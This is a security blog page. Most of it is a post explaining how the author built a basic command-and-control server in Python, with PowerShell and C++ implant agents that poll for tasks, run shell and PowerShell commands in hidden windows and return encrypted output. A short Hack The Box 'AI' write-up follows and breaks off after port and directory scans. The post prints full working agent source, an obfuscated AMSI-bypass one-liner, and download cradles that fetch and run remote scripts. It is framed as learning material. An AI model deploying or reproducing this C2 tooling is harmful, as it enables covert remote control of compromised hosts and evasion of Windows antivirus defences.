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16 April 2020 at 13:57

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16 April 2020 at 01:56

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Ahmed Hesham aka 0xRick | Pentester / Red Teamer wannabe.
[email protected]


About the blog

I enjoy hacking stuff as much as I enjoy writing about it. So here you can find write-ups for CTF challenges, articles about certain topics and even quick notes about different things that I want to remember.

Goals:

  • Document what I learn.
  • Share knowledge that might help others.

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Building a Basic C2

15 April 2020 at 23:00

Introduction

It’s very common that after successful exploitation an attacker would put an agent that maintains communication with a c2 server on the compromised system, and the reason for that is very simple, having an agent that provides persistency over large periods and almost all the capabilities an attacker would need to perform lateral movement and other post-exploitation actions is better than having a reverse shell for example. There are a lot of free open source post-exploitation toolsets that provide this kind of capability, like Metasploit, Empire and many others, and even if you only play CTFs it’s most likely that you have used one of those before.

Long story short, I only had a general idea about how these tools work and I wanted to understand the internals of them, so I decided to try and build one on my own. For the last three weeks, I have been searching and coding, and I came up with a very basic implementation of a c2 server and an agent. In this blog post I’m going to explain the approaches I took to build the different pieces of the tool.

Please keep in mind that some of these approaches might not be the best and also the code might be kind of messy, If you have any suggestions for improvements feel free to contact me, I’d like to know what better approaches I could take. I also like to point out that this is not a tool to be used in real engagements, besides only doing basic actions like executing cmd and powershell, I didn’t take in consideration any opsec precautions.

This tool is still a work in progress, I finished the base but I’m still going to add more execution methods and more capabilities to the agent. After adding new features I will keep writing posts similar to this one, so that people with more experience give feedback and suggest improvements, while people with less experience learn.

You can find the tool on github.

Overview

About c2 servers / agents

As far as I know,

A basic c2 server should be able to:

  • Start and stop listeners.
  • Generate payloads.
  • Handle agents and task them to do stuff.

An agent should be able to:

  • Download and execute its tasks.
  • Send results.
  • Persist.

A listener should be able to:

  • Handle multiple agents.
  • Host files.

And all communications should be encrypted.

About the Tool

The server itself is written in python3, I wrote two agents, one in c++ and the other in powershell, listeners are http listeners.

I couldn’t come up with a nice name so I would appreciate suggestions.

Listeners

Basic Info

Listeners are the core functionality of the server because they provide the way of communication between the server and the agents. I decided to use http listeners, and I used flask to create the listener application.

A Listener object is instantiated with a name, a port and an IP address to bind to:

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class Listener:    

def __init__(self, name, port, ipaddress):

self.name = name
self.port = port
self.ipaddress = ipaddress
...

Then it creates the needed directories to store files, and other data like the encryption key and agents’ data:

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...

self.Path = "data/listeners/{}/".format(self.name)
self.keyPath = "{}key".format(self.Path)
self.filePath = "{}files/".format(self.Path)
self.agentsPath = "{}agents/".format(self.Path)

...

if os.path.exists(self.Path) == False:
os.mkdir(self.Path)

if os.path.exists(self.agentsPath) == False:
os.mkdir(self.agentsPath)

if os.path.exists(self.filePath) == False:
os.mkdir(self.filePath)

...

After that it creates a key, saves it and stores it in a variable (more on generateKey() in the encryption part):

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...

if os.path.exists(self.keyPath) == False:

key = generateKey()
self.key = key

with open(self.keyPath, "wt") as f:
f.write(key)
else:
with open(self.keyPath, "rt") as f:
self.key = f.read()

...

The Flask Application

The flask application which provides all the functionality of the listener has 5 routes: /reg, /tasks/<name>, /results/<name>, /download/<name>, /sc/<name>.

/reg

/reg is responsible for handling new agents, it only accepts POST requests and it takes two parameters: name and type. name is for the hostname while type is for the agent’s type.

When it receives a new request it creates a random string of 6 uppercase letters as the new agent’s name (that name can be changed later), then it takes the hostname and the agent’s type from the request parameters. It also saves the remote address of the request which is the IP address of the compromised host.

With these information it creates a new Agent object and saves it to the agents database, and finally it responds with the generated random name so that the agent on the other side can know its name.

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@self.app.route("/reg", methods=['POST'])
def registerAgent():
name = ''.join(choice(ascii_uppercase) for i in range(6))
remoteip = flask.request.remote_addr
hostname = flask.request.form.get("name")
Type = flask.request.form.get("type")
success("Agent {} checked in.".format(name))
writeToDatabase(agentsDB, Agent(name, self.name, remoteip, hostname, Type, self.key))
return (name, 200)

/tasks/<name>

/tasks/<name> is the endpoint that agents request to download their tasks, <name> is a placeholder for the agent’s name, it only accepts GET requests.

It simply checks if there are new tasks (by checking if the tasks file exists), if there are new tasks it responds with the tasks, otherwise it sends an empty response (204).

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@self.app.route("/tasks/<name>", methods=['GET'])
def serveTasks(name):
if os.path.exists("{}/{}/tasks".format(self.agentsPath, name)):

with open("{}{}/tasks".format(self.agentsPath, name), "r") as f:
task = f.read()
clearAgentTasks(name)

return(task,200)
else:
return ('',204)

/results/<name>

/results/<name> is the endpoint that agents request to send results, <name> is a placeholder for the agent’s name, it only accepts POST requests and it takes one parameter: result for the results.

It takes the results and sends them to a function called displayResults() (more on that function in the agent handler part), then it sends an empty response 204.

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@self.app.route("/results/<name>", methods=['POST'])
def receiveResults(name):
result = flask.request.form.get("result")
displayResults(name, result)
return ('',204)

/download/<name>

/download/<name> is responsible for downloading files, <name> is a placeholder for the file name, it only accepts GET requests.

It reads the requested file from the files path and it sends it.

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@self.app.route("/download/<name>", methods=['GET'])
def sendFile(name):
f = open("{}{}".format(self.filePath, name), "rt")
data = f.read()

f.close()
return (data, 200)

/sc/<name>

/sc/<name> is just a wrapper around the /download/<name> endpoint for powershell scripts, it responds with a download cradle prepended with a oneliner to bypass AMSI, the oneliner downloads the original script from /download/<name> , <name> is a placeholder for the script name, it only accepts GET requests.

It takes the script name, creates a download cradle in the following format:

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IEX(New-Object Net.WebClient).DownloadString('http://IP:PORT/download/SCRIPT_NAME')

and prepends that with the oneliner and responds with the full line.

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@self.app.route("/sc/<name>", methods=['GET'])
def sendScript(name):
amsi = "sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE](\"{1}{0}\"-F'F','rE' ) ) ; ( GeT-VariaBle ( \"1Q2U\" +\"zX\" ) -VaL).\"A`ss`Embly\".\"GET`TY`Pe\"(( \"{6}{3}{1}{4}{2}{0}{5}\" -f'Util','A','Amsi','.Management.','utomation.','s','System' )).\"g`etf`iElD\"( ( \"{0}{2}{1}\" -f'amsi','d','InitFaile' ),(\"{2}{4}{0}{1}{3}\" -f 'Stat','i','NonPubli','c','c,' )).\"sE`T`VaLUE\"(${n`ULl},${t`RuE} ); "
oneliner = "{}IEX(New-Object Net.WebClient).DownloadString(\'http://{}:{}/download/{}\')".format(amsi,self.ipaddress,str(self.port),name)

return (oneliner, 200)

Starting and Stopping

I had to start listeners in threads, however flask applications don’t provide a reliable way to stop the application once started, the only way was to kill the process, but killing threads wasn’t also so easy, so what I did was creating a Process object for the function that starts the application, and a thread that starts that process which means that terminating the process would kill the thread and stop the application.

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...

def run(self):
self.app.logger.disabled = True
self.app.run(port=self.port, host=self.ipaddress)

...

def start(self):

self.server = Process(target=self.run)

cli = sys.modules['flask.cli']
cli.show_server_banner = lambda *x: None

self.daemon = threading.Thread(name = self.name,
target = self.server.start,
args = ())
self.daemon.daemon = True
self.daemon.start()

self.isRunning = True

def stop(self):

self.server.terminate()
self.server = None
self.daemon = None
self.isRunning = False

...

Agents

Basic Info

As mentioned earlier, I wrote two agents, one in powershell and the other in c++. Before going through the code of each one, let me talk about what agents do.

When an agent is executed on a system, first thing it does is get the hostname of that system then send the registration request to the server (/reg as discussed earlier).

After receiving the response which contains its name it starts an infinite loop in which it keeps checking if there are any new tasks, if there are new tasks it executes them and sends the results back to the server.

After each loop it sleeps for a specified amount of time that’s controlled by the server, the default sleep time is 3 seconds.

We can represent that in pseudo code like this:

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get hostname
send [hostname, type], get name

loop{

check if there are any new tasks

if new_tasks{

execute tasks
send results

}

else{
do nothing
}

sleep n
}

So far, agents can only do two basic things, execute cmd and powershell.

PowerShell Agent

I won’t talk about the crypto functions here, I will leave that for the encryption part.

First 5 lines of the agent are just the basic variables which are the IP address, port, key, name and the time to sleep:

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$ip   = "REPLACE_IP"
$port = "REPLACE_PORT"
$key = "REPLACE_KEY"
$n = 3
$name = ""

As mentioned earlier, It gets the hostname, sends the registration request and receives its name:

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$hname = [System.Net.Dns]::GetHostName()
$type = "p"
$regl = ("http" + ':' + "//$ip" + ':' + "$port/reg")
$data = @{
name = "$hname"
type = "$type"
}
$name = (Invoke-WebRequest -UseBasicParsing -Uri $regl -Body $data -Method 'POST').Content

Based on the received name it creates the variables for the tasks uri and the results uri:

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$resultl = ("http" + ':' + "//$ip" + ':' + "$port/results/$name")
$taskl = ("http" + ':' + "//$ip" + ':' + "$port/tasks/$name")

Then it starts the infinite loop:

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for (;;){
...
sleep $n
}

Let’s take a look inside the loop, first thing it does is request new tasks, we know that if there are no new tasks the server will respond with a 204 empty response, so it checks if the response is not null or empty and based on that it decides whether to execute the task execution code block or just sleep again:

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$task  = (Invoke-WebRequest -UseBasicParsing -Uri $taskl -Method 'GET').Content

if (-Not [string]::IsNullOrEmpty($task)){

Inside the task execution code block it takes the encrypted response and decrypts it, splits it then saves the first word in a variable called flag:

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$task = Decrypt $key $task
$task = $task.split()
$flag = $task[0]

If the flag was VALID it will continue, otherwise it will sleep again. This ensures that the data has been decrypted correctly.

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if ($flag -eq "VALID"){

After ensuring that the data is valid, it takes the command it’s supposed to execute and the arguments:

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$command = $task[1]
$args = $task[2..$task.Length]

There are 5 valid commands, shell, powershell, rename, sleep and quit.

shell executes cmd commands, powershell executes powershell commands, rename changes the agent’s name, sleep changes the sleep time and quit just exits.

Let’s take a look at each one of them. The shell and powershell commands basically rely on the same function called shell, so let’s look at that first:

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function shell($fname, $arg){

$pinfo = New-Object System.Diagnostics.ProcessStartInfo
$pinfo.FileName = $fname
$pinfo.RedirectStandardError = $true
$pinfo.RedirectStandardOutput = $true
$pinfo.UseShellExecute = $false
$pinfo.Arguments = $arg
$p = New-Object System.Diagnostics.Process
$p.StartInfo = $pinfo

$p.Start() | Out-Null
$p.WaitForExit()

$stdout = $p.StandardOutput.ReadToEnd()
$stderr = $p.StandardError.ReadToEnd()

$res = "VALID $stdout`n$stderr"
$res
}

It starts a new process with the given file name whether it was cmd.exe or powershell.exe and passes the given arguments, then it receives stdout and stderr and returns the result which is the VALID flag appended with stdout and stderr separated by a newline.

Now back to the shell and powershell commands, both of them call shell() with the corresponding file name, receive the output, encrypt it and send it:

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if ($command -eq "shell"){
$f = "cmd.exe"
$arg = "/c "

foreach ($a in $args){ $arg += $a + " " }

$res = shell $f $arg
$res = Encrypt $key $res
$data = @{result = "$res"}

Invoke-WebRequest -UseBasicParsing -Uri $resultl -Body $data -Method 'POST'

}
elseif ($command -eq "powershell"){

$f = "powershell.exe"
$arg = "/c "

foreach ($a in $args){ $arg += $a + " " }

$res = shell $f $arg
$res = Encrypt $key $res
$data = @{result = "$res"}

Invoke-WebRequest -UseBasicParsing -Uri $resultl -Body $data -Method 'POST'

}

The sleep command updates the n variable then sends an empty result indicating that it completed the task:

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elseif ($command -eq "sleep"){
$n = [int]$args[0]
$data = @{result = ""}
Invoke-WebRequest -UseBasicParsing -Uri $resultl -Body $data -Method 'POST'
}

The rename command updates the name variable and updates the tasks and results uris, then it sends an empty result indicating that it completed the task:

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elseif ($command -eq "rename"){
$name = $args[0]
$resultl = ("http" + ':' + "//$ip" + ':' + "$port/results/$name")
$taskl = ("http" + ':' + "//$ip" + ':' + "$port/tasks/$name")

$data = @{result = ""}
Invoke-WebRequest -UseBasicParsing -Uri $resultl -Body $data -Method 'POST'
}

The quit command just exits:

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elseif ($command -eq "quit"){
exit
}

C++ Agent

The same logic is applied in the c++ agent so I will skip the unnecessary parts and only talk about the http functions and the shell function.

Sending http requests wasn’t as easy as it was in powershell, I used the winhttp library and with the help of the Microsoft documentation I created two functions, one for sending GET requests and the other for sending POST requests. And they’re almost the same function so I guess I will rewrite them to be one function later.

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std::string Get(std::string ip, unsigned int port, std::string uri)
{
std::wstring sip = get_utf16(ip, CP_UTF8);
std::wstring suri = get_utf16(uri, CP_UTF8);

std::string response;

LPSTR pszOutBuffer;

DWORD dwSize = 0;
DWORD dwDownloaded = 0;
BOOL bResults = FALSE;

HINTERNET hSession = NULL,
hConnect = NULL,
hRequest = NULL;

hSession = WinHttpOpen(L"test",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS,
0);

if (hSession) {

hConnect = WinHttpConnect(hSession,
sip.c_str(),
port,
0);
}

if (hConnect) {

hRequest = WinHttpOpenRequest(hConnect,
L"GET", suri.c_str(),
NULL,
WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
0);
}

if (hRequest) {

bResults = WinHttpSendRequest(hRequest,
WINHTTP_NO_ADDITIONAL_HEADERS,
0,
WINHTTP_NO_REQUEST_DATA,
0,
0,
0);
}

if (bResults) {

bResults = WinHttpReceiveResponse(hRequest, NULL);
}

if (bResults)
{
do
{
dwSize = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize)){}

pszOutBuffer = new char[dwSize + 1];
if (!pszOutBuffer)
{
dwSize = 0;
}
else
{
ZeroMemory(pszOutBuffer, dwSize + 1);

if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded)) {}
else {

response = response + std::string(pszOutBuffer);
delete[] pszOutBuffer;
}
}
} while (dwSize > 0);
}

if (hRequest) WinHttpCloseHandle(hRequest);
if (hConnect) WinHttpCloseHandle(hConnect);
if (hSession) WinHttpCloseHandle(hSession);

return response;
}

std::string Post(std::string ip, unsigned int port, std::string uri, std::string dat)
{
LPSTR data = const_cast<char*>(dat.c_str());;
DWORD data_len = strlen(data);

LPCWSTR additionalHeaders = L"Content-Type: application/x-www-form-urlencoded\r\n";
DWORD headersLength = -1;

std::wstring sip = get_utf16(ip, CP_UTF8);
std::wstring suri = get_utf16(uri, CP_UTF8);

std::string response;

LPSTR pszOutBuffer;

DWORD dwSize = 0;
DWORD dwDownloaded = 0;
BOOL bResults = FALSE;

HINTERNET hSession = NULL,
hConnect = NULL,
hRequest = NULL;

hSession = WinHttpOpen(L"test",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS,
0);

if (hSession) {

hConnect = WinHttpConnect(hSession,
sip.c_str(),
port,
0);
}

if (hConnect) {

hRequest = WinHttpOpenRequest(hConnect,
L"POST", suri.c_str(),
NULL,
WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
0);
}

if (hRequest) {

bResults = WinHttpSendRequest(hRequest,
additionalHeaders,
headersLength,
(LPVOID)data,
data_len,
data_len,
0);
}

if (bResults) {

bResults = WinHttpReceiveResponse(hRequest, NULL);
}

if (bResults)
{
do
{
dwSize = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize)){}

pszOutBuffer = new char[dwSize + 1];
if (!pszOutBuffer)
{
dwSize = 0;
}
else
{
ZeroMemory(pszOutBuffer, dwSize + 1);

if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded)) {}
else {

response = response + std::string(pszOutBuffer);
delete[] pszOutBuffer;
}
}
} while (dwSize > 0);
}

if (hRequest) WinHttpCloseHandle(hRequest);
if (hConnect) WinHttpCloseHandle(hConnect);
if (hSession) WinHttpCloseHandle(hSession);

return response;

}

The shell function does the almost the same thing as the shell function in the other agent, some of the code is taken from Stack Overflow and I edited it:

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CStringA shell(const wchar_t* cmd)
{
CStringA result;
HANDLE hPipeRead, hPipeWrite;

SECURITY_ATTRIBUTES saAttr = {sizeof(SECURITY_ATTRIBUTES)};
saAttr.bInheritHandle = TRUE;
saAttr.lpSecurityDescriptor = NULL;


if (!CreatePipe(&hPipeRead, &hPipeWrite, &saAttr, 0))
return result;

STARTUPINFOW si = {sizeof(STARTUPINFOW)};
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.hStdOutput = hPipeWrite;
si.hStdError = hPipeWrite;
si.wShowWindow = SW_HIDE;

PROCESS_INFORMATION pi = { 0 };

BOOL fSuccess = CreateProcessW(NULL, (LPWSTR)cmd, NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
if (! fSuccess)
{
CloseHandle(hPipeWrite);
CloseHandle(hPipeRead);
return result;
}

bool bProcessEnded = false;
for (; !bProcessEnded ;)
{
bProcessEnded = WaitForSingleObject( pi.hProcess, 50) == WAIT_OBJECT_0;

for (;;)
{
char buf[1024];
DWORD dwRead = 0;
DWORD dwAvail = 0;

if (!::PeekNamedPipe(hPipeRead, NULL, 0, NULL, &dwAvail, NULL))
break;

if (!dwAvail)
break;

if (!::ReadFile(hPipeRead, buf, min(sizeof(buf) - 1, dwAvail), &dwRead, NULL) || !dwRead)
break;

buf[dwRead] = 0;
result += buf;
}
}

CloseHandle(hPipeWrite);
CloseHandle(hPipeRead);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return result;
}

I would like to point out an important option in the process created by the shell function which is:

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si.wShowWindow = SW_HIDE;

This is responsible for hiding the console window, this is also added in the main() function of the agent to hide the console window:

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int main(int argc, char const *argv[]) 
{

ShowWindow(GetConsoleWindow(), SW_HIDE);
...

Agent Handler

Now that we’ve talked about the agents, let’s go back to the server and take a look at the agent handler.

An Agent object is instantiated with a name, a listener name, a remote address, a hostname, a type and an encryption key:

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class Agent:

def __init__(self, name, listener, remoteip, hostname, Type, key):

self.name = name
self.listener = listener
self.remoteip = remoteip
self.hostname = hostname
self.Type = Type
self.key = key

Then it defines the sleep time which is 3 seconds by default as discussed, it needs to keep track of the sleep time to be able to determine if an agent is dead or not when removing an agent, otherwise it will keep waiting for the agent to call forever:

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self.sleept    = 3

After that it creates the needed directories and files:

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self.Path      = "data/listeners/{}/agents/{}/".format(self.listener, self.name)
self.tasksPath = "{}tasks".format(self.Path, self.name)

if os.path.exists(self.Path) == False:
os.mkdir(self.Path)

And finally it creates the menu for the agent, but I won’t cover the Menu class in this post because it doesn’t relate to the core functionality of the tool.

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self.menu = menu.Menu(self.name)

self.menu.registerCommand("shell", "Execute a shell command.", "<command>")
self.menu.registerCommand("powershell", "Execute a powershell command.", "<command>")
self.menu.registerCommand("sleep", "Change agent's sleep time.", "<time (s)>")
self.menu.registerCommand("clear", "Clear tasks.", "")
self.menu.registerCommand("quit", "Task agent to quit.", "")

self.menu.uCommands()

self.Commands = self.menu.Commands

I won’t talk about the wrapper functions because we only care about the core functions.

First function is the writeTask() function, which is a quite simple function, it takes the task and prepends it with the VALID flag then it writes it to the tasks path:

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def writeTask(self, task):

if self.Type == "p":
task = "VALID " + task
task = ENCRYPT(task, self.key)
elif self.Type == "w":
task = task

with open(self.tasksPath, "w") as f:
f.write(task)

As you can see, it only encrypts the task in case of powershell agent only, that’s because there’s no encryption in the c++ agent (more on that in the encryption part).

Second function I want to talk about is the clearTasks() function which just deletes the tasks file, very simple:

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def clearTasks(self):

if os.path.exists(self.tasksPath):
os.remove(self.tasksPath)
else:
pass

Third function is a very important function called update(), this function gets called when an agent is renamed and it updates the paths. As seen earlier, the paths depend on the agent’s name, so without calling this function the agent won’t be able to download its tasks.

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def update(self):

self.menu.name = self.name
self.Path = "data/listeners/{}/agents/{}/".format(self.listener, self.name)
self.tasksPath = "{}tasks".format(self.Path, self.name)

if os.path.exists(self.Path) == False:
os.mkdir(self.Path)

The remaining functions are wrappers that rely on these functions or helper functions that rely on the wrappers. One example is the shell function which just takes the command and writes the task:

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def shell(self, args):

if len(args) == 0:
error("Missing command.")
else:
command = " ".join(args)
task = "shell " + command
self.writeTask(task)

The last function I want to talk about is a helper function called displayResults which takes the sent results and the agent name. If the agent is a powershell agent it decrypts the results and checks their validity then prints them, otherwise it will just print the results:

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def displayResults(name, result):

if isValidAgent(name,0) == True:

if result == "":
success("Agent {} completed task.".format(name))
else:

key = agents[name].key

if agents[name].Type == "p":

try:
plaintext = DECRYPT(result, key)
except:
return 0

if plaintext[:5] == "VALID":
success("Agent {} returned results:".format(name))
print(plaintext[6:])
else:
return 0

else:
success("Agent {} returned results:".format(name))
print(result)

Payloads Generator

Any c2 server would be able to generate payloads for active listeners, as seen earlier in the agents part, we only need to change the IP address, port and key in the agent template, or just the IP address and port in case of the c++ agent.

PowerShell

Doing this with the powershell agent is simple because a powershell script is just a text file so we just need to replace the strings REPLACE_IP, REPLACE_PORT and REPLACE_KEY.

The powershell function takes a listener name, and an output name. It grabs the needed options from the listener then it replaces the needed strings in the powershell template and saves the new file in two places, /tmp/ and the files path for the listener. After doing that it generates a download cradle that requests /sc/ (the endpoint discussed in the listeners part).

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def powershell(listener, outputname):

outpath = "/tmp/{}".format(outputname)
ip = listeners[listener].ipaddress
port = listeners[listener].port
key = listeners[listener].key

with open("./lib/templates/powershell.ps1", "rt") as p:
payload = p.read()

payload = payload.replace('REPLACE_IP',ip)
payload = payload.replace('REPLACE_PORT',str(port))
payload = payload.replace('REPLACE_KEY', key)

with open(outpath, "wt") as f:
f.write(payload)

with open("{}{}".format(listeners[listener].filePath, outputname), "wt") as f:
f.write(payload)

oneliner = "powershell.exe -nop -w hidden -c \"IEX(New-Object Net.WebClient).DownloadString(\'http://{}:{}/sc/{}\')\"".format(ip, str(port), outputname)

success("File saved in: {}".format(outpath))
success("One liner: {}".format(oneliner))

Windows Executable (C++ Agent)

It wasn’t as easy as it was with the powershell agent, because the c++ agent would be a compiled PE executable.

It was a huge problem and I spent a lot of time trying to figure out what to do, that was when I was introduced to the idea of a stub.

The idea is to append whatever data that needs to be dynamically assigned to the executable, and design the program in a way that it reads itself and pulls out the appended information.

In the source of the agent I added a few lines of code that do the following:

  • Open the file as a file stream.
  • Move to the end of the file.
  • Read 2 lines.
  • Save the first line in the IP variable.
  • Save the second line in the port variable.
  • Close the file stream.
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std::ifstream ifs(argv[0]);

ifs.seekg(TEMPLATE_EOF);

std::getline(ifs, ip);
std::getline(ifs, sPort);

ifs.close();

To get the right EOF I had to compile the agent first, then update the agent source and compile again according to the size of the file.

For example this is the current definition of TEMPLATE_EOF for the x64 agent:

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#define TEMPLATE_EOF 52736

If we take a look at the size of the file we’ll find that it’s the same:

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# ls -la
-rwxrwxr-x 1 ... ... 52736 ... ... ... winexe64.exe

The winexe function takes a listener name, an architecture and an output name, grabs the needed options from the listener and appends them to the template corresponding to the selected architecture and saves the new file in /tmp:

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def winexe(listener, arch, outputname):

outpath = "/tmp/{}".format(outputname)
ip = listeners[listener].ipaddress
port = listeners[listener].port

if arch == "x64":
copyfile("./lib/templates/winexe/winexe64.exe", outpath)
elif arch == "x32":
copyfile("./lib/templates/winexe/winexe32.exe", outpath)

with open(outpath, "a") as f:
f.write("{}\n{}".format(ip,port))

success("File saved in: {}".format(outpath))

Encryption

I’m not very good at cryptography so this part was the hardest of all. At first I wanted to use AES and do Diffie-Hellman key exchange between the server and the agent. However I found that powershell can’t deal with big integers without the .NET class BigInteger, and because I’m not sure that the class would be always available I gave up the idea and decided to hardcode the key while generating the payload because I didn’t want to risk the compatibility of the agent. I could use AES in powershell easily, however I couldn’t do the same in c++, so I decided to use a simple xor but again there were some issues, that’s why the winexe agent won’t be using any encryption until I figure out what to do.

Let’s take a look at the crypto functions in both the server and the powershell agent.

Server

The AESCipher class uses the AES class from the pycrypto library, it uses AES CBC 256.

An AESCipher object is instantiated with a key, it expects the key to be base-64 encoded:

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class AESCipher:

def __init__(self, key):

self.key = base64.b64decode(key)
self.bs = AES.block_size

There are two functions to pad and unpad the text with zeros to match the block size:

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def pad(self, s):
return s + (self.bs - len(s) % self.bs) * "\x00"

def unpad(self, s):
s = s.decode("utf-8")
return s.rstrip("\x00")

The encryption function takes plain text, pads it, creates a random IV, encrypts the plain text and returns the IV + the cipher text base-64 encoded:

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def encrypt(self, raw):

raw = self.pad(raw)
iv = Random.new().read(AES.block_size)
cipher = AES.new(self.key, AES.MODE_CBC, iv)

return base64.b64encode(iv + cipher.encrypt(raw.encode("utf-8")))

The decryption function does the opposite:

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def decrypt(self,enc):

enc = base64.b64decode(enc)
iv = enc[:16]
cipher = AES.new(self.key, AES.MODE_CBC, iv)
plain = cipher.decrypt(enc[16:])
plain = self.unpad(plain)

return plain

I created two wrapper function that rely on the AESCipher class to encrypt and decrypt data:

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def ENCRYPT(PLAIN, KEY):

c = AESCipher(KEY)
enc = c.encrypt(PLAIN)

return enc.decode()

def DECRYPT(ENC, KEY):

c = AESCipher(KEY)
dec = c.decrypt(ENC)

return dec

And finally there’s the generateKey function which creates a random 32 bytes key and base-64 encodes it:

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def generateKey():

key = base64.b64encode(os.urandom(32))
return key.decode()

PowerShell Agent

The powershell agent uses the .NET class System.Security.Cryptography.AesManaged.

First function is the Create-AesManagedObject which instantiates an AesManaged object using the given key and IV. It’s a must to use the same options we decided to use on the server side which are CBC mode, zeros padding and 32 bytes key length:

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function Create-AesManagedObject($key, $IV) {

$aesManaged = New-Object "System.Security.Cryptography.AesManaged"
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256

After that it checks if the provided key and IV are of the type String (which means that the key or the IV is base-64 encoded), depending on that it decodes the data before using them, then it returns the AesManaged object.

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if ($IV) {

if ($IV.getType().Name -eq "String") {
$aesManaged.IV = [System.Convert]::FromBase64String($IV)
}

else {
$aesManaged.IV = $IV
}
}

if ($key) {

if ($key.getType().Name -eq "String") {
$aesManaged.Key = [System.Convert]::FromBase64String($key)
}

else {
$aesManaged.Key = $key
}
}

$aesManaged
}

The Encrypt function takes a key and a plain text string, converts that string to bytes, then it uses the Create-AesManagedObject function to create the AesManaged object and it encrypts the string with a random generated IV.

It returns the cipher text base-64 encoded.

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function Encrypt($key, $unencryptedString) {

$bytes = [System.Text.Encoding]::UTF8.GetBytes($unencryptedString)
$aesManaged = Create-AesManagedObject $key
$encryptor = $aesManaged.CreateEncryptor()
$encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
[byte[]] $fullData = $aesManaged.IV + $encryptedData
$aesManaged.Dispose()
[System.Convert]::ToBase64String($fullData)
}

The opposite of this process happens with the Decrypt function:

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function Decrypt($key, $encryptedStringWithIV) {

$bytes = [System.Convert]::FromBase64String($encryptedStringWithIV)
$IV = $bytes[0..15]
$aesManaged = Create-AesManagedObject $key $IV
$decryptor = $aesManaged.CreateDecryptor();
$unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16);
$aesManaged.Dispose()
[System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0)

}

Listeners / Agents Persistency

I used pickle to serialize agents and listeners and save them in databases, when you exit the server it saves all of the agent objects and listeners, then when you start it again it loads those objects again so you don’t lose your agents or listeners.

For the listeners, pickle can’t serialize objects that use threads, so instead of saving the objects themselves I created a dictionary that holds all the information of the active listeners and serialized that, the server loads that dictionary and starts the listeners again according to the options in the dictionary.

I created wrapper functions that read, write and remove objects from the databases:

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def readFromDatabase(database):

data = []

with open(database, 'rb') as d:

while True:
try:
data.append(pickle.load(d))
except EOFError:
break

return data

def writeToDatabase(database,newData):

with open(database, "ab") as d:
pickle.dump(newData, d, pickle.HIGHEST_PROTOCOL)

def removeFromDatabase(database,name):

data = readFromDatabase(database)
final = OrderedDict()

for i in data:
final[i.name] = i

del final[name]

with open(database, "wb") as d:
for i in final:
pickle.dump(final[i], d , pickle.HIGHEST_PROTOCOL)

Demo

I will show you a quick demo on a Windows Server 2016 target.

This is how the home of the server looks like:

Let’s start by creating a listener:

Now let’s create a payload, I created the three available payloads:

After executing the payloads on the target we’ll see that the agents successfully contacted the server:

Let’s rename the agents:

I executed 4 simple commands on each agent:

Then I tasked each agent to quit.

And that concludes this blog post, as I said before I would appreciate all the feedback and the suggestions so feel free to contact me on twitter @Ahm3d_H3sham.

If you liked the article tweet about it, thanks for reading.

Hack The Box - AI

25 January 2020 at 03:00

Hack The Box - AI

Quick Summary

Hey guys, today AI retired and here’s my write-up about it. It’s a medium rated Linux box and its ip is 10.10.10.163, I added it to /etc/hosts as ai.htb. Let’s jump right in !

Nmap

As always we will start with nmap to scan for open ports and services:

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[email protected]:~/Desktop/HTB/boxes/AI# nmap -sV -sT -sC -o nmapinitial ai.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-24 17:46 EST
Nmap scan report for ai.htb (10.10.10.163)
Host is up (0.83s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6d:16:f4:32:eb:46:ca:37:04:d2:a5:aa:74:ed:ab:fc (RSA)
| 256 78:29:78:d9:f5:43:d1:cf:a0:03:55:b1:da:9e:51:b6 (ECDSA)
|_ 256 85:2e:7d:66:30:a6:6e:30:04:82:c1:ae:ba:a4:99:bd (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Hello AI!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 123.15 seconds
[email protected]:~/Desktop/HTB/boxes/AI#

We got ssh on port 22 and http on port 80.

Web Enumeration

The index page was empty:

By hovering over the logo a menu appears:

The only interesting page there was /ai.php. From the description (“Drop your query using wav file.”) my first guess was that it’s a speech recognition service that processes users’ input and executes some query based on that processed input, And there’s also a possibility that this query is a SQL query but we’ll get to that later.:

I also found another interesting page with gobuster:

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[email protected]:~/Desktop/HTB/boxes/AI# gobuster dir -u http://ai.htb/ -w /usr/share/wordlists/dirb/common.txt -x php
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://ai.htb/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php
[+] Timeout: 10s
===============================================================
